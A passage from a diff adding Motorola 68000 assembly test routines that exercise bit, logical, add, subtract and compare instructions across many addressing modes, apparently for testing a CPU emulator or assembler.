+    bclr    #0,1(A0,D1.w)
+    bclr    #7,$7000.w
+    bclr    #0,$8000.l
+    
+    bset    #0,D0
+    bset    #7,D0
+    bset    #8,D0
+    bset    #15,D0
+    bset    #16,D0
+    bset    #23,D0
+    bset    #24,D0
+    bset    #31,D0
+    bset    #0,(A0)
+    bset    #7,(A0)+
+    bset    #0,-1(A0)
+    bset    #7,-(A0)
+    bset    #0,1(A0,D1.w)
+    bset    #7,$7000.w
+    bset    #0,$8000.l
+    
+    rts
+    
+bitr_test:
+    lea     $8000.l,A0
+    move.l  #$55555555,D0
+    move.l  D0,(A0)
+    move.l  D0,-$1000(A0)
+    moveq   #1,D1
+
+    moveq   #0,D2    
+    btst    D2,D0
+    addq.l  #7,D2
+    btst    D2,D0
+    addq.l  #1,D2
+    btst    D2,D0
+    addq.l  #7,D2
+    btst    D2,D0
+    addq.l  #1,D2
+    btst    D2,D0
+    addq.l  #7,D2
+    btst    D2,D0
+    addq.l  #1,D2
+    btst    D2,D0
+    addq.l  #7,D2
+    btst    D2,D0
+    
+    moveq   #0,D2
+    moveq   #7,D3
+    btst    D2,(A0)
+    btst    D3,(A0)+
+    btst    D2,-1(A0)
+    btst    D3,-(A0)
+    btst    D2,1(A0,D1.w)
+    btst    D3,$7000.w
+    btst    D2,$8000.l
+    
+    moveq   #0,D2
+    bchg    D2,D0
+    addq.l  #7,D2
+    bchg    D2,D0
+    addq.l  #1,D2
+    bchg    D2,D0
+    addq.l  #7,D2
+    bchg    D2,D0
+    addq.l  #1,D2
+    bchg    D2,D0
+    addq.l  #7,D2
+    bchg    D2,D0
+    addq.l  #1,D2
+    bchg    D2,D0
+    addq.l  #7,D2
+    bchg    D2,D0
+    
+    moveq   #0,D2
+    moveq   #7,D3
+    bchg    D2,(A0)
+    bchg    D3,(A0)+
+    bchg    D2,-1(A0)
+    bchg    D3,-(A0)
+    bchg    D2,1(A0,D1.w)
+    bchg    D3,$7000.w
+    bchg    D2,$8000.l
+    
+    moveq   #0,D2
+    bclr    D2,D0
+    addq.l  #7,D2
+    bclr    D2,D0
+    addq.l  #1,D2
+    bclr    D2,D0
+    addq.l  #7,D2
+    bclr    D2,D0
+    addq.l  #1,D2
+    bclr    D2,D0
+    addq.l  #7,D2
+    bclr    D2,D0
+    addq.l  #1,D2
+    bclr    D2,D0
+    addq.l  #7,D2
+    bclr    D2,D0
+    
+    moveq   #0,D2
+    moveq   #7,D3
+    bclr    D2,(A0)
+    bclr    D3,(A0)+
+    bclr    D2,-1(A0)
+    bclr    D3,-(A0)
+    bclr    D2,1(A0,D1.w)
+    bclr    D3,$7000.w
+    bclr    D2,$8000.l
+    
+    moveq   #0,D2
+    bset    D2,D0
+    addq.l  #7,D2
+    bset    D2,D0
+    addq.l  #1,D2
+    bset    D2,D0
+    addq.l  #7,D2
+    bset    D2,D0
+    addq.l  #1,D2
+    bset    D2,D0
+    addq.l  #7,D2
+    bset    D2,D0
+    addq.l  #1,D2
+    bset    D2,D0
+    addq.l  #7,D2
+    bset    D2,D0
+    
+    moveq   #0,D2
+    moveq   #7,D3
+    bset    D2,(A0)
+    bset    D3,(A0)+
+    bset    D2,-1(A0)
+    bset    D3,-(A0)
+    bset    D2,1(A0,D1.w)
+    bset    D3,$7000.w
+    bset    D2,$8000.l
+    
+    rts
+    
+    ; AND.B, EOR.B, OR.B tests
+    ;-------------------------
+log_b_test:
+    lea     $8000.l,A0
+    move.w  #$55AA,(A0)+
+    move.w  #$1234,(A0)+
+    move.w  #$5678,(A0)+
+    moveq   #0,D0
+    moveq   #4,D1
+    
+    move.b  #$FF,D0
+    and.b   log_b_test+1(PC),D0
+    or.b    log_b_test+1(PC),D0
+    and.b   log_b_test-1(PC,D1.w),D0
+    or.b    log_b_test-1(PC,D1.l),D0
+
+    move.b  #$FF,D0
+    eor.b   D0,(A0)+
+    and.b   (A0)+,D0
+    or.b    D0,(A0)+
+    or.b    (A0)+,D0
+    and.b   D0,(A0)+
+    eor.b   D0,(A0)
+    and.b   (A0),D0
+    or.b    D0,(A0)
+    or.b    (A0),D0
+    and.b   D0,(A0)
+    
+    move.b  #$FF,D0
+    eor.b   D0,-(A0)
+    and.b   -(A0),D0
+    or.b    D0,-(A0)
+    or.b    -(A0),D0
+    and.b   D0,-(A0)
+    eor.b   D0,1(A0)
+    and.b   2(A0),D0
+    or.b    D0,2(A0)
+    or.b    3(A0),D0
+    and.b   D0,3(A0)
+    
+    move.b  #$FF,D0
+    eor.b   D0,-1(A0,D1.w)
+    and.b   -2(A0,D1.l),D0
+    or.b    D0,-2(A0,D1.l)
+    or.b    -3(A0,D1.w),D0
+    and.b   D0,-3(A0,D1.w)
+    eor.b   D1,D0
+    and.b   D1,D0
+    or.b    D1,D0
+
+    rts
+    
+    ; AND.W, EOR.W, OR.W tests
+    ;-------------------------
+log_w_test:
+    lea     $8000.l,A0
+    move.w  #$5555,(A0)+
+    move.w  #$AAAA,(A0)+
+    move.w  #$1234,(A0)+
+    move.w  #$5678,(A0)+
+    moveq   #8,D1
+    
+    move.w  #$FFFF,D0
+    and.w   log_w_test+2(PC),D0
+    or.w    log_w_test+2(PC),D0
+    and.w   log_w_test(PC,D1.w),D0
+    or.w    log_w_test(PC,D1.l),D0
+
+    move.w  #$FFFF,D0
+    eor.w   D0,(A0)+
+    and.w   (A0)+,D0
+    or.w    D0,(A0)+
+    or.w    (A0)+,D0
+    and.w   D0,(A0)+
+    eor.w   D0,(A0)
+    and.w   (A0),D0
+    or.w    D0,(A0)
+    or.w    (A0),D0
+    and.w   D0,(A0)
+    
+    move.w  #$FFFF,D0
+    eor.w   D0,-(A0)
+    and.w   -(A0),D0
+    or.w    D0,-(A0)
+    or.w    -(A0),D0
+    and.w   D0,-(A0)
+    eor.w   D0,2(A0)
+    and.w   4(A0),D0
+    or.w    D0,4(A0)
+    or.w    6(A0),D0
+    and.w   D0,6(A0)
+    
+    move.w  #$FFFF,D0
+    eor.w   D0,-2(A0,D1.w)
+    and.w   -4(A0,D1.l),D0
+    or.w    D0,-4(A0,D1.l)
+    or.w    -6(A0,D1.w),D0
+    and.w   D0,-6(A0,D1.w)
+    eor.w   D1,D0
+    and.w   D1,D0
+    or.w    D1,D0
+
+    rts
+    
+    ; AND.L, EOR.L, OR.L tests
+    ;-------------------------
+log_l_test:
+    lea     $8000.l,A0
+    move.l  #$55555555,(A0)+
+    move.l  #$AAAAAAAA,(A0)+
+    move.l  #$12345678,(A0)+
+    move.l  #$9ABCDEF0,(A0)+
+    move.l  #$FFFFFFFF,(A0)+
+    moveq   #16,D1
+
+    move.l  #$FFFFFFFF,D0
+    and.l   log_l_test+2(PC),D0
+    or.l    log_l_test+2(PC),D0
+    and.l   log_l_test(PC,D1.w),D0
+    or.l    log_l_test(PC,D1.l),D0
+
+    move.l  #$FFFFFFFF,D0
+    eor.l   D0,(A0)+
+    and.l   (A0)+,D0
+    or.l    D0,(A0)+
+    or.l    (A0)+,D0
+    and.l   D0,(A0)+
+    eor.l   D0,(A0)
+    and.l   (A0),D0
+    or.l    D0,(A0)
+    or.l    (A0),D0
+    and.l   D0,(A0)
+    
+    move.l  #$FFFFFFFF,D0
+    eor.l   D0,-(A0)
+    and.l   -(A0),D0
+    or.l    D0,-(A0)
+    or.l    -(A0),D0
+    and.l   D0,-(A0)
+    eor.l   D0,4(A0)
+    and.l   8(A0),D0
+    or.l    D0,8(A0)
+    or.l    12(A0),D0
+    and.l   D0,12(A0)
+    
+    move.l  #$FFFFFFFF,D0
+    eor.l   D0,-4(A0,D1.w)
+    and.l   -8(A0,D1.l),D0
+    or.l    D0,-8(A0,D1.l)
+    or.l    -12(A0,D1.w),D0
+    and.l   D0,-12(A0,D1.w)
+    eor.l   D1,D0
+    and.l   D1,D0
+    or.l    D1,D0
+
+    rts
+    
+    ; ANDI, EORI, ORI tests
+    ;----------------------
+logi_b_test:
+    lea     $8000.l,A0
+    move.w  #$55AA,(A0)+
+    move.w  #$1234,(A0)+
+    move.w  #$5678,(A0)+
+    moveq   #0,D0
+    moveq   #4,D1
+    
+    move.b  #$FF,D0
+    andi.b  #$12,D0
+    eori.b  #$34,D0
+    ori.b   #$56,D0
+
+    andi.b  #$12,(A0)+
+    eori.b  #$34,(A0)+
+    ori.b   #$56,(A0)+
+    andi.b  #$78,(A0)
+    eori.b  #$9A,(A0)
+    ori.b   #$BC,(A0)
+    
+    andi.b  #$12,-(A0)
+    eori.b  #$34,-(A0)
+    ori.b   #$56,-(A0)
+    andi.b  #$78,1(A0)
+    eori.b  #$9A,2(A0)
+    ori.b   #$BC,3(A0)
+ 
+    andi.b  #$12,-1(A0,D1.w)
+    eori.b  #$34,-2(A0,D1.l)
+    ori.b   #$56,-3(A0,D1.w)
+    
+    andi.b  #$12,$7000.w
+    eori.b  #$34,$7000.w
+    ori.b   #$56,$7000.w
+    andi.b  #$78,$8000.l
+    eori.b  #$9A,$8000.l
+    ori.b   #$BC,$8000.l
+
+    rts
+
+    ; ANDI.W, EORI.W, ORI.W tests
+    ;----------------------------
+logi_w_test:
+    lea     $8000.l,A0
+    move.w  #$5555,(A0)+
+    move.w  #$AAAA,(A0)+
+    move.w  #$1234,(A0)+
+    move.w  #$5678,(A0)+
+    moveq   #0,D0
+    moveq   #8,D1
+    
+    move.w  #$FFFF,D0
+    andi.w  #$1212,D0
+    eori.w  #$3434,D0
+    ori.w   #$5656,D0
+    
+    andi.w  #$1212,(A0)+
+    eori.w  #$3434,(A0)+
+    ori.w   #$5656,(A0)+
+    andi.w  #$7878,(A0)
+    eori.w  #$9A9A,(A0)
+    ori.w   #$BCBC,(A0)
+    
+    andi.w  #$1212,-(A0)
+    eori.w  #$3434,-(A0)
+    ori.w   #$5656,-(A0)
+    andi.w  #$7878,2(A0)
+    eori.w  #$9A9A,4(A0)
+    ori.w   #$BCBC,6(A0)
+
+    andi.w  #$1212,-2(A0,D1.w)
+    eori.w  #$3434,-4(A0,D1.l)
+    ori.w   #$5656,-6(A0,D1.w)
+
+    andi.w  #$1212,$7000.w
+    eori.w  #$3434,$7000.w
+    ori.w   #$5656,$7000.w
+    andi.w  #$7878,$8000.l
+    eori.w  #$9A9A,$8000.l
+    ori.w   #$BCBC,$8000.l
+
+    rts
+    
+    ; ANDI.L, EORI.L, ORI.L tests
+    ;----------------------------
+logi_l_test:
+    lea     $8000.l,A0
+    move.l  #$55555555,(A0)+
+    move.l  #$AAAAAAAA,(A0)+
+    move.l  #$12345678,(A0)+
+    move.l  #$9ABCDEF0,(A0)+
+    move.l  #$FFFFFFFF,(A0)+
+    moveq   #16,D1
+
+    move.l  #$FFFFFFFF,D0
+    andi.l  #$12121212,D0
+    eori.l  #$34343434,D0
+    ori.l   #$56565656,D0
+
+    andi.l  #$12121212,(A0)+
+    eori.l  #$34343434,(A0)+
+    ori.l   #$56565656,(A0)+
+    andi.l  #$78787878,(A0)
+    eori.l  #$9A9A9A9A,(A0)
+    ori.l   #$BCBCBCBC,(A0)
+
+    andi.l  #$12121212,-(A0)
+    eori.l  #$34343434,-(A0)
+    ori.l   #$56565656,-(A0)
+    andi.l  #$78787878,4(A0)
+    eori.l  #$9A9A9A9A,8(A0)
+    ori.l   #$BCBCBCBC,12(A0)
+
+    andi.l  #$12121212,-4(A0,D1.w)
+    eori.l  #$34343434,-8(A0,D1.l)
+    ori.l   #$56565656,-12(A0,D1.w)
+
+    andi.l  #$12121212,$7000.w
+    eori.l  #$34343434,$7000.w
+    ori.l   #$56565656,$7000.w
+    andi.l  #$78787878,$8000.l
+    eori.l  #$9A9A9A9A,$8000.l
+    ori.l   #$BCBCBCBC,$8000.l
+
+    rts
+
+    ; ADD tests
+    ;----------
+add_b_test:
+    lea     $8000.l,A0
+    move.l  #$12345678,(A0)
+    move.l  #$9ABCDEF0,4(A0)
+    moveq   #$7F,D0
+    moveq   #2,D1
+    add.b   (A0)+,D0
+    add.b   D0,(A0)+
+    add.b   (A0),D0
+    add.b   D0,(A0)
+    add.b   -(A0),D0
+    add.b   D0,-(A0)
+    add.b   1(A0),D0
+    add.b   D0,1(A0)
+    add.b   3(A0,D1.w),D0
+    add.b   D0,3(A0,D1.w)
+    add.b   D1,D0
+    add.b   $7000.w,D0
+    add.b   $8000.l,D0
+    add.b   add_b_test+1(PC),D0
+    add.b   add_b_test-1(PC,D1),D0
+    add.b   #$12,D0
+    rts
+    
+add_w_test:
+    lea     $8000.l,A0
+    move.l  #$12345678,(A0)
+    move.l  #$9ABCDEF0,4(A0)
+    move.w  #$7FFF,D0
+    moveq   #2,D1
+    add.w   (A0)+,D0
+    add.w   D0,(A0)+
+    add.w   (A0),D0
+    add.w   D0,(A0)
+    add.w   -(A0),D0
+    add.w   D0,-(A0)
+    add.w   2(A0),D0
+    add.w   D0,2(A0)
+    add.w   2(A0,D1.w),D0
+    add.w   D0,4(A0,D1.w)
+    add.w   D1,D0
+    add.w   A0,D0
+    add.w   $7000.w,D0
+    add.w   $8000.l,D0
+    add.w   add_w_test+2(PC),D0
+    add.w   add_w_test(PC,D1),D0
+    add.w   #$1234,D0
+    rts
+    
+add_l_test:
+    lea     $8000.l,A0
+    move.l  #$12345678,(A0)
+    move.l  #$9ABCDEF0,4(A0)
+    move.l  #$12345678,8(A0)
+    move.l  #$7FFFFFFF,D0
+    moveq   #2,D1
+    add.l   (A0)+,D0
+    add.l   D0,(A0)+
+    add.l   (A0),D0
+    add.l   D0,(A0)
+    add.l   -(A0),D0
+    add.l   D0,-(A0)
+    add.l   4(A0),D0
+    add.l   D0,4(A0)
+    add.l   6(A0,D1.w),D0
+    add.l   D0,2(A0,D1.w)
+    add.l   D1,D0
+    add.l   A0,D0
+    add.l   $7000.w,D0
+    add.l   $8000.l,D0
+    add.l   add_l_test+2(PC),D0
+    add.l   add_l_test(PC,D1),D0
+    add.l   #$12345678,D0
+    rts
+    
+    ; ADDQ tests
+    ;-----------
+addq_test:
+    lea     $7000.w,A0
+    lea     $8000.l,A1
+    suba.l  A2,A2
+    moveq   #0,D0
+    moveq   #2,D1
+
+    clr.b   (A0)
+    clr.b   (A1)    
+    addq.b  #8,D0
+    addq.b  #1,(A0)
+    addq.b  #7,(A1)+
+    addq.b  #8,-1(A1)
+    addq.b  #8,-3(A1,D1.w)
+    addq.b  #8,-(A1)
+    addq.b  #1,$7000.w
+    addq.b  #1,$8000.l
+    move.b  (A0),D0
+    move.b  (A1),D0
+
+    clr.w   (A0)
+    move.w  (A0),D0
+    clr.w   (A1)
+    addq.w  #8,D0
+    addq.w  #8,A2
+    addq.w  #1,(A0)
+    move.w  (A0),D0
+    addq.w  #7,(A1)+
+    addq.w  #8,-2(A1)
+    addq.w  #8,-4(A1,D1.w)
+    addq.w  #8,-(A1)
+    addq.w  #1,$7000.w
+    addq.w  #1,$8000.l
+    move.w  (A0),D0
+    move.w  (A1),D0
+
+    clr.l   (A0)
+    clr.l   (A1)
+    addq.l  #8,D0
+    addq.l  #8,A2
+    addq.l  #1,(A0)
+    addq.l  #7,(A1)+
+    addq.l  #8,-4(A1)
+    addq.l  #8,-6(A1,D1.w)
+    addq.l  #8,-(A1)
+    addq.l  #1,$7000.w
+    addq.l  #1,$8000.l
+    move.l  (A0),D0
+    move.l  (A1),D0
+    
+    rts
+
+    ; ADDA.W tests
+    ;-------------
+adda_w_test:
+    lea     $7FF0.w,A0
+    lea     $7FF0.w,A1
+    lea     $8000.l,A2
+    move.l  #$12345678,(A2)
+    moveq   #2,D1
+    adda.w  A1,A0
+    adda.w  D1,A0
+    adda.w  (A2)+,A0
+    adda.w  (A2),A0
+    adda.w  -(A2),A0
+    adda.w  2(A2),A0
+    adda.w  6(A2,D1.w),A0
+    adda.w  $7000.w,A0
+    adda.w  $8000.l,A0
+    adda.w  adda_w_test+2(PC),A0
+    adda.w  adda_w_test(PC,D1.l),A0
+    adda.w  #$1234,A0
+    rts
+
+    ; ADDA.L tests
+    ;-------------
+adda_l_test:
+    lea     $7FFFFFF0.l,A0
+    lea     $7FFFFFF0.l,A1
+    lea     $8000.l,A2
+    move.l  #$12345678,(A2)
+    move.l  #$9ABCDEF0,4(A2)
+    moveq   #2,D1
+    adda.l  A1,A0
+    adda.l  #32,A0
+    adda.l  D1,A0
+    adda.l  (A2)+,A0
+    adda.l  (A2),A0
+    adda.l  -(A2),A0
+    adda.l  4(A2),A0
+    adda.l  6(A2,D1.w),A0
+    adda.l  $7000.w,A0
+    adda.l  $8000.l,A0
+    adda.l  adda_l_test+2(PC),A0
+    adda.l  adda_l_test(PC,D1.l),A0
+    adda.l  #$12345678,A0
+    rts
+    
+    ; ADDI.B tests
+    ;-------------
+addi_b_test:
+    lea     $8000.l,A0
+    move.w  #$55AA,(A0)+
+    move.w  #$1234,(A0)+
+    move.w  #$5678,(A0)
+    subq.l  #4,A0
+    moveq   #0,D0
+
+    move.b  #$7F,D0
+    addi.b  #$7F,D0
+    addq.b  #2,D0
+    move.b  #$7F,D1
+    moveq   #0,D2
+    addx.b  D2,D1
+    
+    moveq   #4,D1
+    addi.b  #$12,(A0)+
+    addi.b  #$23,(A0)
+    addi.b  #$45,-(A0)
+    addi.b  #$56,1(A0)
+    addi.b  #$78,-3(A0,D1.w)
+    addi.b  #$9A,$7000.w
+    addi.b  #$BC,$8000.l
+    
+    rts
+    
+    ; ADDI.W tests
+    ;-------------
+addi_w_test:
+    lea     $8000.l,A0
+    move.w  #$5555,(A0)+
+    move.w  #$AAAA,(A0)+
+    move.w  #$1234,(A0)+
+    move.w  #$5678,(A0)
+    subq.l  #6,A0
+    moveq   #0,D0
+
+    move.w  #$7FFF,D0
+    addi.w  #$7FFF,D0
+    addq.w  #2,D0
+    move.w  #$7FFF,D1
+    moveq   #0,D2
+    addx.w  D2,D1
+    
+    moveq   #8,D1
+    addi.w  #$1212,(A0)+
+    addi.w  #$2323,(A0)
+    addi.w  #$4545,-(A0)
+    addi.w  #$5656,2(A0)
+    addi.w  #$7878,-6(A0,D1.w)
+    addi.w  #$9A9A,$7000.w
+    addi.w  #$BCBC,$8000.l
+    
+    rts
+    
+    ; ADDI.L tests
+    ;-------------
+addi_l_test:
+    lea     $8000.l,A0
+    move.l  #$55555555,(A0)+
+    move.l  #$AAAAAAAA,(A0)+
+    move.l  #$12345678,(A0)+
+    move.l  #$9ABCDEF0,(A0)+
+    move.l  #$FFFFFFFF,(A0)
+    lea     -16(A0),A0
+
+    move.l  #$7FFFFFFF,D0
+    addi.l  #$7FFFFFFF,D0
+    addq.l  #2,D0
+    move.l  #$7FFFFFFF,D1
+    moveq   #0,D2
+    addx.l  D2,D1
+
+    moveq   #16,D1
+    addi.l  #$12121212,(A0)+
+    addi.l  #$23232323,(A0)
+    addi.l  #$45454545,-(A0)
+    addi.l  #$56565656,4(A0)
+    addi.l  #$78787878,-12(A0,D1.w)
+    addi.l  #$9A9A9A9A,$7000.w
+    addi.l  #$BCBCBCBC,$8000.l
+    
+    rts
+    
+    ; SUB tests
+    ;----------
+sub_b_test:
+    lea     $8000.l,A0
+    moveq   #$7F,D0
+    moveq   #2,D1
+    sub.b   (A0)+,D0
+    sub.b   (A0),D0
+    sub.b   -(A0),D0
+    sub.b   1(A0),D0
+    sub.b   6(A0,D1.w),D0
+    sub.b   D1,D0
+    sub.b   $7000.w,D0
+    sub.b   $8000.l,D0
+    sub.b   sub_b_test+1(PC),D0
+    sub.b   sub_b_test-1(PC,D1),D0
+    sub.b   #$12,D0
+    rts
+    
+sub_w_test:
+    lea     $8000.l,A0
+    move.w  #$7FFF,D0
+    moveq   #2,D1
+    sub.w   (A0)+,D0
+    sub.w   (A0),D0
+    sub.w   -(A0),D0
+    sub.w   2(A0),D0
+    sub.w   6(A0,D1.w),D0
+    sub.w   D1,D0
+    sub.w   A0,D0
+    sub.w   $7000.w,D0
+    sub.w   $8000.l,D0
+    sub.w   sub_w_test+2(PC),D0
+    sub.w   sub_w_test(PC,D1),D0
+    sub.w   #$1234,D0
+    rts
+    
+sub_l_test:
+    lea     $8000.l,A0
+    move.l  #$7FFFFFFF,D0
+    moveq   #2,D1
+    sub.l   (A0)+,D0
+    sub.l   (A0),D0
+    sub.l   -(A0),D0
+    sub.l   4(A0),D0
+    sub.l   6(A0,D1.w),D0
+    sub.l   D1,D0
+    sub.l   A0,D0
+    sub.l   $7000.w,D0
+    sub.l   $8000.l,D0
+    sub.l   sub_l_test+2(PC),D0
+    sub.l   sub_l_test(PC,D1),D0
+    sub.l   #$12345678,D0
+    rts
+
+    ; CMP tests
+    ;----------
+cmp_b_test:
+    lea     $8000.l,A0
+    move.l  #$7F7F7F7F,(A0)
+    moveq   #$7F,D0
+    moveq   #1,D1
+    cmp.b   (A0)+,D0
+    cmp.b   (A0),D0
+    cmp.b   -(A0),D0
+    cmp.b   1(A0),D0
+    cmp.b   6(A0,D1.w),D0
+    cmp.b   D1,D0
+    cmp.b   $7000.w,D0
+    cmp.b   $8000.l,D0
+    cmp.b   cmp_b_test+1(PC),D0
+    cmp.b   cmp_b_test-1(PC,D1),D0
+    cmp.b   #$12,D0
+    rts
+    
+cmp_w_test:
+    lea     $8000.l,A0
+    move.l  #$7FFF7FFF,(A0)
+    move.w  #$7FFF,D0
+    moveq   #2,D1
+    cmp.w   (A0)+,D0
+    cmp.w   (A0),D0
+    cmp.w   -(A0),D0
+    cmp.w   2(A0),D0
+    cmp.w   6(A0,D1.w),D0
+    cmp.w   D1,D0
+    cmp.w   A0,D0
+    cmp.w   $7000.w,D0
+    cmp.w   $8000.l,D0
+    cmp.w   cmp_w_test+2(PC),D0
+    cmp.w   cmp_w_test(PC,D1),D0
+    cmp.w   #$1234,D0
+    rts
+    
+cmp_l_test:
+    lea     $8000.l,A0
+    move.l  #$7FFFFFFF,(A0)
+    move.l  #$7FFFFFFF,D0
+    moveq   #2,D1
+    cmp.l   (A0)+,D0
+    cmp.l   (A0),D0
+    cmp.l   -(A0),D0
+    cmp.l   4(A0),D0
+    cmp.l   6(A0,D1.w),D0
+    cmp.l   D1,D0
+    cmp.l   A0,D0
+    cmp.l   $7000.w,D0
+    cmp.l   $8000.l,D0
+    cmp.l   cmp_l_test+2(PC),D0
+    cmp.l   cmp_l_test(PC,D1),D0
+    cmp.l   #$12345678,D0
+    rts
+
+    ; CMPA.W tests
+    ;-------------
+cmpa_w_test:
+    lea     $7FFF.w,A0
+    lea     $7FFF.w,A1
+    lea     $8000.l,A2
+    move.l  #12345678,(A2)
+    moveq   #2,D1
+    cmpa.w  A1,A0
+    cmpa.w  D1,A0
+    cmpa.w  (A2)+,A0
+    cmpa.w  (A2),A0
+    cmpa.w  -(A2),A0
+    cmpa.w  2(A2),A0
+    cmpa.w  6(A2,D1.w),A0
+    cmpa.w  $7000.w,A0
+    cmpa.w  $8000.l,A0
+    cmpa.w  cmpa_w_test+2(PC),A0
+    cmpa.w  cmpa_w_test(PC,D1.l),A0
+    cmpa.w  #$1234,A0
+    rts
+
+    ; CMPA.L tests
+    ;-------------
+cmpa_l_test:
+    lea     $7FFFFFFF.l,A0
+    lea     $7FFFFFFF.l,A1
+    lea     $8000.l,A2
+    move.l  #$12345678,(A2)
+    move.l  #$9ABCDEF0,4(A2)
+    moveq   #2,D1
+    cmpa.l  A1,A0
+    cmpa.l  D1,A0
+    cmpa.l  (A2)+,A0
+    cmpa.l  (A2),A0
+    cmpa.l  -(A2),A0
+    cmpa.l  4(A2),A0
+    cmpa.l  6(A2,D1.w),A0
+    cmpa.l  $7000.w,A0
+    cmpa.l  $8000.l,A0
+    cmpa.l  cmpa_l_test+2(PC),A0
+    cmpa.l  cmpa_l_test(PC,D1.l),A0
+    cmpa.l  #$12345678,A0
+    
+    move.w  #$FFFF,-(SP)
+    rtr
+
+    ; SUBQ tests
+    ;-----------
+subq_test:
+    lea     $7000.w,A0
+    lea     $8000.l,A1
+    suba.l  A2,A2
+    moveq   #0,D0
+    moveq   #2,D1
+    
+    clr.b   (A0)
+    clr.b   (A1)
+    subq.b  #8,D0
+    subq.b  #1,(A0)
+    subq.b  #7,(A1)+
+    subq.b  #8,-1(A1)
+    subq.b  #8,-3(A1,D1.w)
+    subq.b  #8,-(A1)
+    subq.b  #1,$7000.w
+    subq.b  #1,$8000.l
+    move.b  (A0),D0
+    move.b  (A1),D0
+
+    clr.w   (A0)
+    move.w  (A0),D0
+    clr.w   (A1)
+    subq.w  #8,D0
+    subq.w  #8,A2
+    subq.w  #1,(A0)
+    move.w  (A0),D0
+    subq.w  #7,(A1)+
+    subq.w  #8,-2(A1)
+    subq.w  #8,-4(A1,D1.w)
+    subq.w  #8,-(A1)
+    subq.w  #1,$7000.w
+    subq.w  #1,$8000.l
+    move.w  (A0),D0
+    move.w  (A1),D0
+
+    clr.l   (A0)
+    clr.l   (A1)
+    subq.l  #8,D0
+    subq.l  #8,A2
+    subq.l  #1,(A0)
+    subq.l  #7,(A1)+
+    subq.l  #8,-4(A1)
+    subq.l  #8,-6(A1,D1.w)
+    subq.l  #8,-(A1)
+    subq.l  #1,$7000.w
+    subq.l  #1,$8000.l
+    move.l  (A0),D0
+    move.l  (A1),D0
+
+    rts
+
+    ; SUBA.W tests
+    ;-------------
+suba_w_test:
+    lea     $7FFF.w,A0
+    lea     $7FFF.w,A1
+    lea     $8000.l,A2
+    move.l  #$12345678,(A2)
+    moveq   #2,D1
+    suba.w  A1,A0
+    suba.w  D1,A0
+    suba.w  (A2)+,A0
+    suba.w  (A2),A0
+    suba.w  -(A2),A0
+    suba.w  2(A2),A0
+    suba.w  6(A2,D1.w),A0
+    suba.w  $7000.w,A0
+    suba.w  $8000.l,A0
+    suba.w  suba_w_test+2(PC),A0
+    suba.w  suba_w_test(PC,D1.l),A0
+    suba.w  #$1234,A0
+    rts
+
+    ; SUBA.L tests
+    ;-------------
+suba_l_test:
+    lea     $7FFFFFFF.l,A0
+    lea     $7FFFFFFF.l,A1
+    lea     $8000.l,A2
+    move.l  #$12345678,(A2)
+    move.l  #$9ABCDEF0,4(A2)
+    moveq   #2,D1
+    suba.l  A1,A0
+    suba.l  D1,A0
+    suba.l  (A2)+,A0
+    suba.l  (A2),A0
+    suba.l  -(A2),A0
+    suba.l  4(A2),A0
+    suba.l  6(A2,D1.w),A0
+    suba.l  $7000.w,A0
+    suba.l  $8000.l,A0
+    suba.l  suba_l_test+2(PC),A0
+    suba.l  suba_l_test(PC,D1.l),A0
+    suba.l  #$12345678,A0
+    rts
+
+    ; SUBI.B tests
+    ;-------------
+subi_b_test:
+    lea     $8000.l,A0
+    move.w  #$55AA,(A0)+
+    move.w  #$1234,(A0)+
+    move.w  #$5678,(A0)
+    subq.l  #4,A0
+    moveq   #0,D0
+    moveq   #4,D1
+
+    move.b  #$7F,D0
+    subi.b  #$7F,D0
+    subq.b  #1,D0
+    move.b  #$7F,D1
+    moveq   #0,D2
+    subx.b  D2,D1
+    subi.b  #$12,(A0)+
+    subi.b  #$23,(A0)
+    subi.b  #$45,-(A0)
+    subi.b  #$56,1(A0)
+    subi.b  #$78,-3(A0,D1.w)
+    subi.b  #$9A,$7000.w
+    subi.b  #$BC,$8000.l
+    
+    rts
+    
+    ; SUBI.W tests
+    ;-------------
+subi_w_test:
+    lea     $8000.l,A0
+    move.w  #$5555,(A0)+
+    move.w  #$AAAA,(A0)+
+    move.w  #$1234,(A0)+
+    move.w  #$5678,(A0)
+    subq.l  #6,A0
+    moveq   #0,D0
+    moveq   #8,D1
+
+    move.w  #$7FFF,D0
+    subi.w  #$7FFF,D0
+    subq.w  #1,D0
+    move.w  #$7FFF,D1
+    moveq   #0,D2
+    subx.w  D2,D1
+    subi.w  #$1212,(A0)+
+    subi.w  #$2323,(A0)
+    subi.w  #$4545,-(A0)
+    subi.w  #$5656,2(A0)
+    subi.w  #$7878,-6(A0,D1.w)
+    subi.w  #$9A9A,$7000.w
+    subi.w  #$BCBC,$8000.l
+    
+    rts
+    
+    ; SUBI.L tests
+    ;-------------
+subi_l_test:
+    lea     $8000.l,A0
+    move.l  #$55555555,(A0)+
+    move.l  #$AAAAAAAA,(A0)+
+    move.l  #$12345678,(A0)+
+    move.l  #$9ABCDEF0,(A0)+
+    move.l  #$FFFFFFFF,(A0)
+    lea     -16(A0),A0
+    moveq   #16,D1
+
+    move.l  #$7FFFFFFF,D0
+    subi.l  #$7FFFFFFF,D0
+    subq.l  #1,D0
+    move.l  #$7FFFFFFF,D1
+    moveq   #0,D2
+    subx.l  D2,D1
+    subi.l  #$12121212,(A0)+
+    subi.l  #$23232323,(A0)
+    subi.l  #$45454545,-(A0)
+    subi.l  #$56565656,4(A0)
+    subi.l  #$78787878,-12(A0,D1.w)
+    subi.l  #$9A9A9A9A,$7000.w
+    subi.l  #$BCBCBCBC,$8000.l
+    
+    rts
+    
+     ; CMPI.B tests
+    ;-------------
+cmpi_b_test:
+    lea     $8000.l,A0
+    move.w  #$55AA,(A0)+
+    move.w  #$1234,(A0)+
+    move.w  #$5678,(A0)
+    subq.l  #4,A0
+    moveq   #0,D0
+    moveq   #4,D1
+
+    move.b  #$7F,D0
+    cmpi.b  #$7F,D0
+    cmpi.b  #$12,(A0)+
+    cmpi.b  #$23,(A0)
+    cmpi.b  #$45,-(A0)
+    cmpi.b  #$56,1(A0)
+    cmpi.b  #$78,-3(A0,D1.w)
+    cmpi.b  #$9A,$7000.w
+    cmpi.b  #$BC,$8000.l
+    
+    rts
+    
+    ; CMPI.W tests
+    ;-------------
+cmpi_w_test:
+    lea     $8000.l,A0
+    move.w  #$5555,(A0)+
+    move.w  #$AAAA,(A0)+
+    move.w  #$1234,(A0)+
+    move.w  #$5678,(A0)
+    subq.l  #6,A0
+    moveq   #0,D0
+    moveq   #8,D1
+
+    move.w  #$7FFF,D0
+    cmpi.w  #$7FFF,D0
+    cmpi.w  #$1212,(A0)+
